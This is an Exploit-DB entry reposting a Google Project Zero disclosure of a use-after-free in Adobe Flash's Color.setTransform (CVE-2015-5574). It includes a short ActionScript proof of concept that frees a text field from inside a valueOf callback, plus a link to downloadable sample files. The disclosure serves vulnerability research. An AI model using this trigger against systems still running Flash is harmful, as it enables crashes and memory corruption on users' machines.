Adobe Flash - Color.setTransform Use-After-Free

2016-04-01T00:00:00
ID EDB-ID:39652
Type exploitdb
Reporter Google Security Research
Modified 2016-04-01T00:00:00

Description

Adobe Flash - Color.setTransform Use-After-Free. CVE-2015-5574. Dos exploits for multiple platform

                                        
                                            Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=451

If Color.setTransform is set to a transform that deletes the field it is called on, a UaF occurs. A PoC is as follows:

var tf:TextField = this.createTextField("tf",1,1,1,4,4)

var n = new Object();

n.valueOf = function () {
	trace("here");
	tf.removeTextField()
}

var o = {ra: n, rb:8};

var c = new Color(tf)
c.setTransform(o)


A sample swf and fla are attached.


Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39652.zip